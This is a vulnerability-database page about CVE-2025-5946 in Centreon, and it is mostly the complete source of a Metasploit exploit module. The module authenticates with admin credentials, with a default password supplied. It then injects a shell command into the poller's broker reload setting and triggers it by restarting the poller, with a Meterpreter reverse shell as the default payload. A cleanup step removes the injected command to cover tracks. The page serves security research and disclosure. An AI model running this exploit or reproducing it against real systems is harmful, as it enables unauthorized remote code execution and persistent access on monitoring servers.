Lucene search
K

Centreon authenticated command injection leading to RCE via broker engine "reload" parameter

🗓️ 05 Nov 2025 18:58:01Reported by h00die-gr3y <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 492 Views

Centreon command injection enables RCE via broker engine reload on poller configuration; admin access required.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-5946
5 Nov 202515:39
circl
CNNVD
Centreon 安全漏洞
14 Oct 202500:00
cnnvd
CNVD
Centreon Command Injection Vulnerability (CNVD-2025-24650)
17 Oct 202500:00
cnvd
CVE
CVE-2025-5946
14 Oct 202514:29
cve
Cvelist
CVE-2025-5946 RCE via the poller reload feature available only to user with high privilege
14 Oct 202514:29
cvelist
EUVD
EUVD-2025-34208
14 Oct 202514:29
euvd
NVD
CVE-2025-5946
14 Oct 202515:16
nvd
OSV
CVE-2025-5946 RCE via the poller reload feature available only to user with high privilege
14 Oct 202514:29
osv
Packet Storm
📄 Centreon Broker Engine Reload Parameter Command Injection
5 Nov 202500:00
packetstorm
Positive Technologies
PT-2025-41936
14 Oct 202500:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter',
        'Description' => %q{
          Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
          This module exploits an command injection vulnerability using the `broker engine reload` setting
          on the poller configuration page of the Centreon web application. Injecting a malcious payload
          at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
          You need have admin access at the Centreon Web application in order to execute this RCE.
          This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
          `24.10.13`, `24.04.18` and `23.10.28`.
        },
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
        ],
        'References' => [
          ['CVE', '2025-5946'],
          ['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'],
          ['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
              },
              'Payload' => {
                'Encoder' => 'cmd/base64',
                'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-09-24',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']),
      OptString.new('USERNAME', [true, 'Centreon web admin user', 'admin']),
      OptString.new('PASSWORD', [true, 'Centreon web admin password', 'Centreon!123'])
    ])
  end

  # login at the Centreon web application
  # return true if login successful else false
  def centreon_login(name, pwd)
    # login with admin credentials
    # first try login logic in newer versions
    post_data = {
      login: name.to_s,
      password: pwd.to_s
    }.to_json
    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'),
      'data' => post_data.to_s
    })
    return true if res&.code == 200 && res.body.include?('redirect_uri')

    # try again using login logic for older versions
    # get centreon_token
    res = send_request_cgi!({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true
    })

    # find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
    if res&.code == 200 && res.body.include?('centreon_token')
      centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
      centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
    else
      vprint_status('No centreon_token found!')
      return false
    end

    # login with admin credentials and centreon_token
    if centreon_token
      vprint_status("centreon_token=#{centreon_token}")
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'keep_cookies' => true,
        'vars_post' => {
          'useralias' => name.to_s,
          'password' => pwd.to_s,
          'submitLogin' => 'Connect',
          'centreon_token' => centreon_token.to_s
        }
      })
      return true if res&.code == 302
    else
      vprint_warning('Unable to process the centreon_token.')
    end
    false
  end

  # CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload
  def execute_payload(cmd, _opts = {})
    @clean_payload = true
    payload = ";#{cmd}"
    vprint_status("payload=#{payload}")
    # attach payload at the centreon broker engine "reload parameter
    fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload)

    # trigger execution by restarting the poller
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
      'keep_cookies' => true,
      'vars_post' => {
        'poller' => 1,
        'mode' => 1
      }
    })
  end

  # attach payload at the centreon broker engine "reload" parameter and commit into the sql database
  def drop_rce_payload(payload)
    # get the poller configuration and centreon_token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'keep_cookies' => true,
      'vars_get' => {
        'p' => 60901,
        'o' => 'c',
        'server_id' => 1
      }
    })

    # find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
    if res&.code == 200 && res.body.include?('centreon_token')
      centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
      centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
    else
      vprint_status('No centreon_token found!')
      return false
    end

    # update poller "centreon broker engine reload" setting with payload
    if centreon_token
      vprint_status("centreon_token=#{centreon_token}")
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'main.get.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'p' => 60901
        },
        'vars_post' => {
          'name' => 'Central',
          'ns_ip_address' => '127.0.0.1',
          'localhost[localhost]' => 1,
          'is_default[is_default]' => 1,
          'gorgone_communication_type[gorgone_communication_type]' => 1,
          'gorgone_port' => 5556,
          'engine_start_command' => 'service centengine start',
          'engine_stop_command' => 'service centengine stop',
          'engine_restart_command' => 'service centengine restart',
          'engine_reload_command' => 'service centengine reload',
          'nagios_bin' => '/usr/sbin/centengine',
          'nagiostats_bin' => '/usr/sbin/centenginestats',
          'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
          'broker_reload_command' => "service cbd reload#{payload}",
          'centreonbroker_cfg_path' => '/etc/centreon-broker',
          'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
          'centreonbroker_logs_path' => nil,
          'centreonconnector_path' => '/usr/lib64/centreon-connector',
          'init_script_centreontrapd' => 'centreontrapd',
          'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
          'ns_activate[ns_activate]' => 1,
          'submitC' => 'Save',
          'id' => 1,
          'o' => 'c',
          'centreon_token' => centreon_token.to_s
        }
      })
      if res&.code == 200 && res.body.include?('ajaxOption table')
        vprint_good('Poller setting "broker_reload_command" updated with payload.')
        return true
      end
      vprint_warning('Poller setting "broker_reload_command" is not updated with payload.')
    else
      vprint_warning('Unable to process the centreon_token.')
    end
    return false
  end

  # try to remove the payload from the poller settings to cover our tracks
  def cleanup
    super
    # check if payload should be cleaned
    if @clean_payload
      vprint_status('Cleaning up the mess...')
      if drop_rce_payload(nil)
        print_good('Payload has been successfully removed from the poller setting "broker_reload_command".')
      else
        print_warning('Payload not removed. Try to remove it manually from the poller setting "broker_reload_command".')
      end
    end
  end

  # get the Centreon version
  # return version if successful else nil
  def get_centreon_version
    # get version information use Web API v2.0
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'),
      'keep_cookies' => true
    })
    # for older versions try to scrape the version from the login web page
    unless res&.code == 200 && res.body.include?('web')
      res = send_request_cgi!({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true
      })
      return nil unless res&.code == 200

      build = res.body.match(/v\.\s*\d+\.\d+\.\d+/)
      return nil if build.nil?

      return build[0].gsub(/[[:space:]]/, '').split('v.')[1]
    end
    res_json = res.get_json_document
    res_json['web']['version'] unless res_json.blank?
  end

  def check
    version = get_centreon_version
    return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil?

    case version.scan(/^\d+\.\d+/)[0]
    when '24.10'
      return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.10.13')
    when '24.04'
      return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.04.18')
    when '23.10'
      return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('23.10.28')
    else
      return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) >= Rex::Version.new('19.10.0')
    end

    CheckCode::Safe("Centreon version #{version}")
  end

  def exploit
    # check if we can login at the Centreon Web application with the default admin credentials
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.")
    fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password)
    print_status('Succesfully authenticated at the Centreon Web application.')

    # storing credentials at the msf database
    print_status('Saving admin credentials at the msf database.')
    store_valid_credential(user: username, private: password)

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    execute_payload(payload.encoded)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 19:05Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.17.2
EPSS0.13843
SSVC
492